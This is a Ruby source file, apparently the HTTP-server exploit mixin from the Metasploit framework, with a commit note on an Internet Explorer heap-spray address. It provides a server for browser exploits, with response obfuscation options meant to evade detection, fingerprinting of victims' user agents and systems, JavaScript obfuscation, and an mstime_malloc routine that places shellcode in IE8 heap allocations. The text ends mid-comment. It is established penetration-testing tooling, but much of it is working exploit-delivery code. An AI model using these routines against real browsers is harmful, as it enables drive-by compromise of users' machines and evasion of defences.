8e2de6d14f
After many tests, it turns out address 0x0c0d2020 is the most consistent location acorss various IE versions. For dev purposes, it's rather important to have this documented somewhere. Thanks to corelanc0d3r for the data.
1198 lines
34 KiB
Ruby
1198 lines
34 KiB
Ruby
# -*- coding: binary -*-
|
||
require 'rex/service_manager'
|
||
require 'rex/exploitation/obfuscatejs'
|
||
require 'rex/exploitation/encryptjs'
|
||
require 'rex/exploitation/heaplib'
|
||
|
||
module Msf
|
||
|
||
###
|
||
#
|
||
# This module provides methods for exploiting an HTTP client by acting
|
||
# as an HTTP server.
|
||
#
|
||
###
|
||
module Exploit::Remote::HttpServer
|
||
|
||
include Msf::Exploit::Remote::TcpServer
|
||
include Msf::Auxiliary::Report
|
||
|
||
def initialize(info = {})
|
||
super
|
||
|
||
register_options(
|
||
[
|
||
OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]),
|
||
], Exploit::Remote::HttpServer
|
||
)
|
||
|
||
register_evasion_options(
|
||
[
|
||
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
|
||
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
|
||
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
|
||
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
|
||
OptString.new('HTTP::server_name', [true, 'Configures the Server header of all outgoing replies', 'Apache'])
|
||
], Exploit::Remote::HttpServer
|
||
)
|
||
|
||
@service_path = nil
|
||
end
|
||
|
||
#
|
||
# By default, all HTTP servers are not subject to automatic exploitation
|
||
#
|
||
def autofilter
|
||
false
|
||
end
|
||
|
||
#
|
||
# Thread-local client accessor
|
||
#
|
||
def cli
|
||
Thread.current[:cli]
|
||
end
|
||
|
||
#
|
||
# Thread-local client accessor
|
||
#
|
||
def cli=(cli)
|
||
Thread.current[:cli] = cli
|
||
end
|
||
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_line(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_status(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_error(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_debug(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
#
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def print_warning(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_line(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_status(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_error(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_debug(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
# :category: print_* overrides
|
||
# Prepends client and module name if inside a thread with a #cli
|
||
def vprint_warning(msg='')
|
||
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
|
||
end
|
||
|
||
|
||
#
|
||
# Ensures that gzip can be used. If not, an exception is generated. The
|
||
# exception is only raised if the DisableGzip advanced option has not been
|
||
# set.
|
||
#
|
||
def use_zlib
|
||
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
|
||
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
|
||
end
|
||
end
|
||
|
||
#
|
||
# This method gives a derived class the opportunity to ensure that all
|
||
# dependencies are present before initializing the service.
|
||
#
|
||
# By default, all HTTP server mixins will try to use zlib.
|
||
#
|
||
def check_dependencies
|
||
use_zlib
|
||
end
|
||
|
||
##
|
||
# :category: Exploit::Remote::TcpServer overrides
|
||
#
|
||
# This mixin starts the HTTP server listener. This routine takes a few
|
||
# different hash parameters:
|
||
#
|
||
# ServerHost => Override the server host to listen on (default to SRVHOST).
|
||
# ServerPort => Override the server port to listen on (default to SRVPORT).
|
||
# Uri => The URI to handle and the associated procedure to call.
|
||
#
|
||
def start_service(opts = {})
|
||
|
||
check_dependencies
|
||
|
||
comm = datastore['ListenerComm']
|
||
if (comm.to_s == "local")
|
||
comm = ::Rex::Socket::Comm::Local
|
||
else
|
||
comm = nil
|
||
end
|
||
|
||
# Default the server host and port to what is required by the mixin.
|
||
opts = {
|
||
'ServerHost' => datastore['SRVHOST'],
|
||
'ServerPort' => datastore['SRVPORT'],
|
||
'Comm' => comm
|
||
}.update(opts)
|
||
|
||
# Start a new HTTP server service.
|
||
self.service = Rex::ServiceManager.start(
|
||
Rex::Proto::Http::Server,
|
||
opts['ServerPort'].to_i,
|
||
opts['ServerHost'],
|
||
datastore['SSL'],
|
||
{
|
||
'Msf' => framework,
|
||
'MsfExploit' => self,
|
||
},
|
||
opts['Comm'],
|
||
datastore['SSLCert']
|
||
)
|
||
|
||
self.service.server_name = datastore['HTTP::server_name']
|
||
|
||
# Default the procedure of the URI to on_request_uri if one isn't
|
||
# provided.
|
||
uopts = {
|
||
'Proc' => Proc.new { |cli, req|
|
||
self.cli = cli
|
||
( self.respond_to?(:filter_request_uri) &&
|
||
filter_request_uri(cli, req)
|
||
) ? nil : on_request_uri(cli, req)
|
||
},
|
||
'Path' => resource_uri
|
||
}.update(opts['Uri'] || {})
|
||
|
||
proto = (datastore["SSL"] ? "https" : "http")
|
||
|
||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||
|
||
if (opts['ServerHost'] == '0.0.0.0')
|
||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||
end
|
||
|
||
add_resource(uopts)
|
||
end
|
||
|
||
#
|
||
# Return a Hash containing a best guess at the actual browser and operating
|
||
# system versions, based on the User-Agent header.
|
||
#
|
||
# Keys in the returned hash are similar to those expected of
|
||
# Report#report_client, and Msf::DBManager#report_host namely:
|
||
# +:ua_name+:: a brief identifier for the client, e.g. "Firefox"
|
||
# +:ua_ver+:: the version number of the client, e.g. "3.0.11"
|
||
# +:os_name+:: one of the Msf::OperatingSystems constants
|
||
# +:os_flavor+:: something like "XP" or "Gentoo"
|
||
# +:os_lang+:: something like "English", "French", or "en-US"
|
||
# +:arch+:: one of the ARCH_* constants
|
||
#
|
||
# Unknown values may be nil.
|
||
#
|
||
def fingerprint_user_agent(ua_str)
|
||
fp = { :ua_string => ua_str }
|
||
|
||
# always check for IE last because everybody tries to
|
||
# look like IE
|
||
case (ua_str.downcase)
|
||
# Chrome tries to look like Safari, so check it first
|
||
when /chrome\/(\d+(:?\.\d+)*)/
|
||
# Matches, e.g.:
|
||
# Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
|
||
fp[:ua_name] = HttpClients::CHROME
|
||
fp[:ua_ver] = $1
|
||
when /version\/(\d+(:?\.\d+)*)\s*safari/
|
||
fp[:ua_name] = HttpClients::SAFARI
|
||
fp[:ua_ver] = $1
|
||
when /firefox\/((:?[0-9]+\.)+[0-9]+)/
|
||
fp[:ua_name] = HttpClients::FF
|
||
fp[:ua_ver] = $1
|
||
when /opera\/(\d+(:?\.\d+)*)/
|
||
fp[:ua_name] = HttpClients::OPERA
|
||
fp[:ua_ver] = $1
|
||
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
|
||
fp[:ua_name] = HttpClients::IE
|
||
fp[:ua_ver] = $1
|
||
else
|
||
fp[:ua_name] = HttpClients::UNKNOWN
|
||
end
|
||
case (ua_str.downcase)
|
||
when /(en-us|en-gb)/
|
||
fp[:os_lang] = $1
|
||
end
|
||
case (ua_str.downcase)
|
||
when /windows/
|
||
fp[:os_name] = OperatingSystems::WINDOWS
|
||
fp[:arch] = ARCH_X86
|
||
when /linux/
|
||
fp[:os_name] = OperatingSystems::LINUX
|
||
when /iphone/
|
||
fp[:os_name] = OperatingSystems::MAC_OSX
|
||
fp[:arch] = 'armle'
|
||
when /mac os x/
|
||
fp[:os_name] = OperatingSystems::MAC_OSX
|
||
else
|
||
fp[:os_name] = OperatingSystems::UNKNOWN
|
||
end
|
||
case (ua_str.downcase)
|
||
when /windows 95/
|
||
fp[:os_flavor] = '95'
|
||
when /windows 98/
|
||
fp[:os_flavor] = '98'
|
||
when /windows nt 4/
|
||
fp[:os_flavor] = 'NT'
|
||
when /windows nt 5.0/
|
||
fp[:os_flavor] = '2000'
|
||
when /windows nt 5.1/
|
||
fp[:os_flavor] = 'XP'
|
||
when /windows nt 5.2/
|
||
fp[:os_flavor] = '2003'
|
||
when /windows nt 6.0/
|
||
fp[:os_flavor] = 'Vista'
|
||
when /windows nt 6.1/
|
||
fp[:os_flavor] = '7'
|
||
when /windows nt 6.2/
|
||
fp[:os_flavor] = '8'
|
||
when /gentoo/
|
||
fp[:os_flavor] = 'Gentoo'
|
||
when /debian/
|
||
fp[:os_flavor] = 'Debian'
|
||
when /ubuntu/
|
||
fp[:os_flavor] = 'Ubuntu'
|
||
when /fedora/
|
||
fp[:os_flavor] = 'Fedora'
|
||
when /red hat|rhel/
|
||
fp[:os_flavor] = 'RHEL'
|
||
when /android/
|
||
fp[:os_flavor] = 'Android'
|
||
else
|
||
fp[:os_flavor] = ''
|
||
end
|
||
case (ua_str.downcase)
|
||
when /ppc/
|
||
fp[:arch] = ARCH_PPC
|
||
when /x64|x86_64/
|
||
fp[:arch] = ARCH_X86_64
|
||
when /i.86|wow64/
|
||
# WOW64 means "Windows on Windows64" and is present
|
||
# in the useragent of 32-bit IE running on 64-bit
|
||
# Windows
|
||
fp[:arch] = ARCH_X86
|
||
when /android|iphone|ipod|ipad/
|
||
fp[:arch] = ARCH_ARMLE
|
||
else
|
||
fp[:arch] = ARCH_X86
|
||
end
|
||
|
||
fp
|
||
end
|
||
|
||
#
|
||
# Store the results of server-side User-Agent fingerprinting in the DB.
|
||
#
|
||
# Returns a Hash containing host and client information.
|
||
#
|
||
def report_user_agent(address, request, client_opts={})
|
||
fp = fingerprint_user_agent(request["User-Agent"])
|
||
host = {
|
||
:address => address,
|
||
:host => address,
|
||
}
|
||
host[:os_name] = fp[:os_name] if fp[:os_name]
|
||
host[:os_flavor] = fp[:os_flavor] if fp[:os_flavor]
|
||
host[:arch] = fp[:arch] if fp[:arch]
|
||
host[:os_lang] = fp[:os_lang] if fp[:os_lang]
|
||
report_host(host)
|
||
client = {
|
||
:host => address,
|
||
:ua_string => request['User-Agent'],
|
||
}
|
||
client[:ua_name] = fp[:ua_name] if fp[:ua_name]
|
||
client[:ua_ver] = fp[:ua_ver] if fp[:ua_ver]
|
||
client.merge!(client_opts) if client_opts
|
||
report_client(client)
|
||
report_note(
|
||
:host => address,
|
||
:type => 'http.request',
|
||
:data => "#{address}: #{request.method} #{request.resource} #{client[:os_name]} #{client[:ua_name]} #{client[:ua_ver]}",
|
||
:update => :unique_data
|
||
)
|
||
return host.merge(client)
|
||
end
|
||
|
||
#
|
||
# Adds a URI resource using the supplied hash parameters.
|
||
#
|
||
# Path => The path to associate the procedure with.
|
||
# Proc => The procedure to call when the URI is requested.
|
||
# LongCall => Indicates that the request is a long call.
|
||
#
|
||
# NOTE: Calling #add_resource will change the results of subsequent calls
|
||
# to #get_resource!
|
||
#
|
||
def add_resource(opts)
|
||
@service_path = opts['Path']
|
||
service.add_resource(opts['Path'], opts)
|
||
end
|
||
|
||
#
|
||
# Returns the last-used resource path
|
||
#
|
||
def get_resource
|
||
# We don't want modules modifying their service_path inadvertantly, so
|
||
# give them a dup. Can be nil during module setup.
|
||
@service_path ? @service_path.dup : nil
|
||
end
|
||
|
||
#
|
||
# Return a full url of the form <tt>http://1.1.1.1:8080/resource/</tt>
|
||
#
|
||
# The address portion should be something a client would be able to route,
|
||
# but see {#srvhost_addr} for caveats.
|
||
#
|
||
def get_uri(cli=self.cli)
|
||
ssl = !!(datastore["SSL"])
|
||
proto = (ssl ? "https://" : "http://")
|
||
if (cli and cli.peerhost)
|
||
host = Rex::Socket.source_address(cli.peerhost)
|
||
else
|
||
host = srvhost_addr
|
||
end
|
||
|
||
if Rex::Socket.is_ipv6?(host)
|
||
host = "[#{host}]"
|
||
end
|
||
|
||
if (ssl and datastore["SRVPORT"] == 443)
|
||
port = ''
|
||
elsif (!ssl and datastore["SRVPORT"] == 80)
|
||
port = ''
|
||
else
|
||
port = ":" + datastore["SRVPORT"].to_s
|
||
end
|
||
|
||
uri = proto + host + port + get_resource
|
||
|
||
uri
|
||
end
|
||
|
||
#
|
||
# An address to which the client can route.
|
||
#
|
||
# If available, return LHOST which should be the right thing since it
|
||
# already has to be an address the client can route to for the payload to
|
||
# work. However, LHOST will only be available if we're using a reverse_*
|
||
# payload, so if we don't have it, try to use the client's peerhost
|
||
# address. Failing that, fall back to the addr with the default gateway.
|
||
# All of this will be for naught in the case of a user behind NAT using a
|
||
# bind payload but there's nothing we can do about it.
|
||
#
|
||
# NOTE: The address will be *incorrect* in the following two situations:
|
||
# 1. LHOST is pointed at a multi/handler on some other box.
|
||
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||
# using a bind payload. In that case, we don't have an LHOST and
|
||
# the source address will be internal.
|
||
#
|
||
# This can potentially be dealt with in a module by using the Host header
|
||
# from a request if such a header exists.
|
||
#
|
||
# @return [String]
|
||
def srvhost_addr
|
||
if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
|
||
host = datastore["LHOST"]
|
||
else
|
||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||
if (respond_to?(:sock) and sock and sock.peerhost)
|
||
# Then this is a Passive-Aggressive module. It has a socket
|
||
# connected to the remote server from which we can deduce the
|
||
# appropriate source address.
|
||
host = Rex::Socket.source_address(sock.peerhost)
|
||
else
|
||
# Otherwise, this module is only a server, not a client, *and*
|
||
# the payload does not have an LHOST option. This can happen,
|
||
# for example, with a browser exploit using a download-exec
|
||
# payload. In that case, just use the address of the interface
|
||
# with the default gateway and hope for the best.
|
||
host = Rex::Socket.source_address
|
||
end
|
||
else
|
||
host = datastore['SRVHOST']
|
||
end
|
||
end
|
||
|
||
host
|
||
end
|
||
|
||
#
|
||
# Removes a URI resource.
|
||
#
|
||
def remove_resource(name)
|
||
service.remove_resource(name)
|
||
end
|
||
|
||
#
|
||
# Closes a client connection.
|
||
#
|
||
def close_client(cli)
|
||
service.close_client(cli)
|
||
end
|
||
|
||
#
|
||
# Creates an HTTP response packet.
|
||
#
|
||
def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
|
||
res = Rex::Proto::Http::Response.new(code, message, proto);
|
||
res['Content-Type'] = 'text/html'
|
||
res
|
||
end
|
||
|
||
#
|
||
# Transmits a response to the supplied client, default content-type is text/html
|
||
#
|
||
# Payload evasions are implemented here!
|
||
#
|
||
def send_response(cli, body, headers = {})
|
||
response = create_response
|
||
response['Content-Type'] = 'text/html'
|
||
response.body = body.to_s.unpack("C*").pack("C*")
|
||
|
||
if (datastore['HTTP::compression'])
|
||
self.use_zlib # make sure...
|
||
response.compress = datastore['HTTP::compression']
|
||
end
|
||
|
||
if (datastore['HTTP::chunked'] == true)
|
||
response.auto_cl = false
|
||
response.transfer_chunked = true
|
||
end
|
||
|
||
if (datastore['HTTP::header_folding'] == true)
|
||
response.headers.fold = 1
|
||
end
|
||
|
||
if (datastore['HTTP::junk_headers'] == true)
|
||
response.headers.junk_headers = 1
|
||
end
|
||
|
||
headers.each_pair { |k,v| response[k] = v }
|
||
|
||
cli.send_response(response)
|
||
end
|
||
|
||
#
|
||
# Sends a 302 redirect to the client
|
||
#
|
||
def send_redirect(cli, location='/', body='', headers = {})
|
||
response = create_response(302, 'Moved')
|
||
response['Content-Type'] = 'text/html'
|
||
response['Location'] = location
|
||
response.body = body.to_s.unpack("C*").pack("C*")
|
||
headers.each_pair { |k,v| response[k] = v }
|
||
|
||
cli.send_response(response)
|
||
end
|
||
|
||
|
||
#
|
||
# Sends a 302 redirect relative to our base path
|
||
#
|
||
def send_local_redirect(cli, location)
|
||
send_redirect(cli, get_resource + location)
|
||
end
|
||
|
||
|
||
#
|
||
# Sends a 404
|
||
#
|
||
def send_not_found(cli)
|
||
resp_404 = create_response(404, 'Not Found')
|
||
resp_404.body = %Q{\
|
||
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|
||
<html><head>
|
||
<title>404 Not Found</title>
|
||
</head><body>
|
||
<h1>Not Found</h1>
|
||
<p>The requested URL was not found on this server.</p>
|
||
<hr>
|
||
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
|
||
</body></html>
|
||
}
|
||
|
||
cli.send_response(resp_404)
|
||
end
|
||
|
||
|
||
#
|
||
# Returns the configured (or random, if not configured) URI path
|
||
#
|
||
def resource_uri
|
||
path = datastore['URIPATH'] || random_uri
|
||
path = '/' + path if path !~ /^\//
|
||
return path
|
||
end
|
||
|
||
|
||
#
|
||
# Generates a random URI for use with making finger printing more
|
||
# challenging.
|
||
#
|
||
def random_uri
|
||
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
|
||
end
|
||
|
||
#
|
||
# Re-generates the payload, substituting the current RHOST and RPORT with
|
||
# the supplied client host and port.
|
||
#
|
||
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
|
||
pcode = nil
|
||
|
||
# If the payload fails to generate for some reason, send a 403.
|
||
if ((pcode = super(cli, arch, platform, target)) == nil)
|
||
print_error("Failed to generate payload, sending 403.")
|
||
|
||
cli.send_response(
|
||
create_response(403, 'Forbidden'))
|
||
|
||
return nil
|
||
end
|
||
pcode
|
||
end
|
||
|
||
##
|
||
#
|
||
# Override methods
|
||
#
|
||
##
|
||
|
||
#
|
||
# Called when a request is made to a single URI registered during the
|
||
# start_service. Subsequent registrations will not result in a call to
|
||
# on_request_uri.
|
||
#
|
||
# Modules should override this method.
|
||
#
|
||
def on_request_uri(cli, request)
|
||
end
|
||
|
||
end
|
||
|
||
###
|
||
#
|
||
# This module provides methods for exploiting an HTTP client by acting
|
||
# as an HTTP server.
|
||
#
|
||
###
|
||
module Exploit::Remote::HttpServer::HTML
|
||
|
||
include Msf::Exploit::Remote::HttpServer
|
||
|
||
protected
|
||
|
||
def initialize(info = {})
|
||
super
|
||
|
||
register_evasion_options(
|
||
[
|
||
# utf-8, utf-7 and utf-7-all are currently not supported by
|
||
# most browsers. as such, they are not added by default. The
|
||
# mixin supports encoding using them, however they are not
|
||
# listed in the Option.
|
||
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
|
||
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object (IE not supported)', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
|
||
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
|
||
], Exploit::Remote::HttpServer::HTML)
|
||
end
|
||
|
||
#
|
||
# Obfuscates symbols found within a javascript string.
|
||
#
|
||
# Returns an ObfuscateJS object
|
||
#
|
||
def obfuscate_js(javascript, opts)
|
||
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
|
||
js.obfuscate
|
||
return js
|
||
end
|
||
|
||
#
|
||
# Encrypts a given javascript string using the provided key.
|
||
#
|
||
# Returns a string containing the encrypted string and a loader
|
||
#
|
||
def encrypt_js(javascript, key)
|
||
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
||
end
|
||
|
||
#
|
||
# Returns the heaplib javascript, including any custom javascript supplied
|
||
# by the caller.
|
||
#
|
||
def heaplib(custom_js = '', opts = {})
|
||
Rex::Exploitation::HeapLib.new(custom_js, opts).to_s
|
||
end
|
||
|
||
def js_base64
|
||
js = <<-ENDJS
|
||
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
|
||
// variable names changed to make obfuscation easier
|
||
var Base64 = {
|
||
// private property
|
||
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
|
||
|
||
// private method
|
||
_utf8_encode : function ( input ){
|
||
input = input.replace(/\\r\\n/g,"\\n");
|
||
var utftext = "";
|
||
var input_idx;
|
||
|
||
for (input_idx = 0; input_idx < input.length; input_idx++) {
|
||
var chr = input.charCodeAt(input_idx);
|
||
if (chr < 128) {
|
||
utftext += String.fromCharCode(chr);
|
||
}
|
||
else if((chr > 127) && (chr < 2048)) {
|
||
utftext += String.fromCharCode((chr >> 6) | 192);
|
||
utftext += String.fromCharCode((chr & 63) | 128);
|
||
} else {
|
||
utftext += String.fromCharCode((chr >> 12) | 224);
|
||
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
|
||
utftext += String.fromCharCode((chr & 63) | 128);
|
||
}
|
||
}
|
||
|
||
return utftext;
|
||
},
|
||
|
||
// public method for encoding
|
||
encode : function( input ) {
|
||
var output = "";
|
||
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
|
||
var input_idx = 0;
|
||
|
||
input = Base64._utf8_encode(input);
|
||
|
||
while (input_idx < input.length) {
|
||
chr1 = input.charCodeAt( input_idx++ );
|
||
chr2 = input.charCodeAt( input_idx++ );
|
||
chr3 = input.charCodeAt( input_idx++ );
|
||
|
||
enc1 = chr1 >> 2;
|
||
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
|
||
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
|
||
enc4 = chr3 & 63;
|
||
|
||
if (isNaN(chr2)) {
|
||
enc3 = enc4 = 64;
|
||
} else if (isNaN(chr3)) {
|
||
enc4 = 64;
|
||
}
|
||
output = output +
|
||
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
|
||
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
|
||
}
|
||
return output;
|
||
},
|
||
// public method for decoding
|
||
decode : function (input) {
|
||
var output = "";
|
||
var chr1, chr2, chr3;
|
||
var enc1, enc2, enc3, enc4;
|
||
var i = 0;
|
||
|
||
input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");
|
||
|
||
while (i < input.length) {
|
||
|
||
enc1 = this._keyStr.indexOf(input.charAt(i++));
|
||
enc2 = this._keyStr.indexOf(input.charAt(i++));
|
||
enc3 = this._keyStr.indexOf(input.charAt(i++));
|
||
enc4 = this._keyStr.indexOf(input.charAt(i++));
|
||
|
||
chr1 = (enc1 << 2) | (enc2 >> 4);
|
||
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
|
||
chr3 = ((enc3 & 3) << 6) | enc4;
|
||
|
||
output = output + String.fromCharCode(chr1);
|
||
|
||
if (enc3 != 64) {
|
||
output = output + String.fromCharCode(chr2);
|
||
}
|
||
if (enc4 != 64) {
|
||
output = output + String.fromCharCode(chr3);
|
||
}
|
||
|
||
}
|
||
|
||
output = Base64._utf8_decode(output);
|
||
|
||
return output;
|
||
|
||
},
|
||
_utf8_decode : function (utftext) {
|
||
var string = "";
|
||
var input_idx = 0;
|
||
var chr1 = 0;
|
||
var chr2 = 0;
|
||
var chr3 = 0;
|
||
|
||
while ( input_idx < utftext.length ) {
|
||
|
||
chr1 = utftext.charCodeAt(input_idx);
|
||
|
||
if (chr1 < 128) {
|
||
string += String.fromCharCode(chr1);
|
||
input_idx++;
|
||
}
|
||
else if((chr1 > 191) && (chr1 < 224)) {
|
||
chr2 = utftext.charCodeAt(input_idx+1);
|
||
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
|
||
input_idx += 2;
|
||
} else {
|
||
chr2 = utftext.charCodeAt(input_idx+1);
|
||
chr3 = utftext.charCodeAt(input_idx+2);
|
||
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
|
||
input_idx += 3;
|
||
}
|
||
}
|
||
|
||
return string;
|
||
}
|
||
|
||
|
||
};
|
||
|
||
ENDJS
|
||
opts = {
|
||
'Symbols' => {
|
||
'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
|
||
input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
|
||
'Methods' => %w{ _utf8_encode _utf8_decode encode decode }
|
||
}
|
||
}
|
||
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
||
|
||
return js
|
||
end
|
||
|
||
|
||
#
|
||
# Downloads data using ajax
|
||
#
|
||
# Supported arguments:
|
||
# method => Optional. HTTP Verb (eg. GET/POST)
|
||
# path => Relative path to the file. In IE, you can actually use an URI. But in Firefox, you
|
||
# must use a relative path, otherwise you will be blocked by the browser.
|
||
# data => Optional. Data to pass to the server
|
||
#
|
||
# Example of using the ajax_download() function:
|
||
# For IE, your web server has to return this header to download binary data:
|
||
# "text/plain; charset=x-user-defined"
|
||
# <script>
|
||
# #{js_ajax_download}
|
||
#
|
||
# ajax_download({path:"/test.bin"});
|
||
# </script>
|
||
#
|
||
def js_ajax_download
|
||
%Q|function ajax_download(oArg) {
|
||
method = oArg.method;
|
||
path = oArg.path;
|
||
data = oArg.data;
|
||
|
||
if (method == undefined) { method = "GET"; }
|
||
if (method == path) { throw "Missing parameter 'path'"; }
|
||
if (data == undefined) { data = null; }
|
||
|
||
if (window.XMLHttpRequest) {
|
||
xmlHttp = new XMLHttpRequest();
|
||
}
|
||
else {
|
||
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
|
||
}
|
||
|
||
if (xmlHttp.overrideMimeType) {
|
||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||
}
|
||
|
||
xmlHttp.open(method, path, false);
|
||
xmlHttp.send(data);
|
||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||
return xmlHttp.responseText;
|
||
}
|
||
return null;
|
||
}
|
||
|
|
||
end
|
||
|
||
|
||
#
|
||
# This function takes advantage of MSTIME's CTIMEAnimationBase::put_values function that's
|
||
# suitable for a no-spray technique. There should be an allocation that contains an array of
|
||
# pointers to strings that we control, and each string should reside in its own buffer.
|
||
# Please note newer IEs (such as IE9), no longer support SMIL, therefore this only works on
|
||
# Internet Explorer 8 or prior. Note that "mstime_malloc" also requires a rather specific
|
||
# writing style, so make sure you have the following before using:
|
||
# * You must have the following at the beginning of your HTML file:
|
||
# <!doctype html>
|
||
# <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
|
||
# * You must have the following in <meta>:
|
||
# <meta>
|
||
# <?IMPORT namespace="t" implementation="#default#time2">
|
||
# </meta>
|
||
#
|
||
# The "mstime_malloc" JavaScript function supports the following arguments:
|
||
# shellcode => The shellcode to place.
|
||
# offset => Optional. The pointer index that points to the shellcode.
|
||
# heapBlockSize => Object size.
|
||
# objId => The ID to your ANIMATECOLOR element.
|
||
#
|
||
# Example of using "js_mstime_malloc":
|
||
# <script>
|
||
# #{js_mstime_malloc}
|
||
#
|
||
# shellcode = unescape("%u4141%u4141%u4141%u4141%u4141");
|
||
# offset = 3;
|
||
# s = 0x58;
|
||
# mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId});
|
||
# </script>
|
||
#
|
||
def js_mstime_malloc
|
||
%Q|
|
||
function mstime_malloc(oArg) {
|
||
shellcode = oArg.shellcode;
|
||
offset = oArg.offset;
|
||
heapBlockSize = oArg.heapBlockSize;
|
||
objId = oArg.objId;
|
||
|
||
if (shellcode == undefined) { throw "Missing argument: shellcode"; }
|
||
if (offset == undefined) { offset = 0; }
|
||
if (heapBlockSize == undefined) { throw "Size must be defined"; }
|
||
|
||
buf = "";
|
||
for (i=0; i < heapBlockSize/4; i++) {
|
||
if (i == offset) {
|
||
if (i == 0) { buf += shellcode; }
|
||
else { buf += ";" + shellcode; }
|
||
}
|
||
else {
|
||
buf += ";##{Rex::Text.rand_text_hex(6)}";
|
||
}
|
||
}
|
||
|
||
e = document.getElementById(objId);
|
||
if (e == null) {
|
||
eleId = "#{Rex::Text.rand_text_alpha(5)}"
|
||
acTag = "<t:ANIMATECOLOR id='"+ eleId + "'/>"
|
||
document.body.innerHTML = document.body.innerHTML + acTag;
|
||
e = document.getElementById(eleId);
|
||
}
|
||
try { e.values = buf; }
|
||
catch (e) {}
|
||
}
|
||
|
|
||
end
|
||
|
||
#
|
||
# This heap spray technique takes advantage of MSHTML's SetStringProperty (or SetProperty)
|
||
# function to trigger allocations by ntdll!RtlAllocateHeap. It is based on Corelan's
|
||
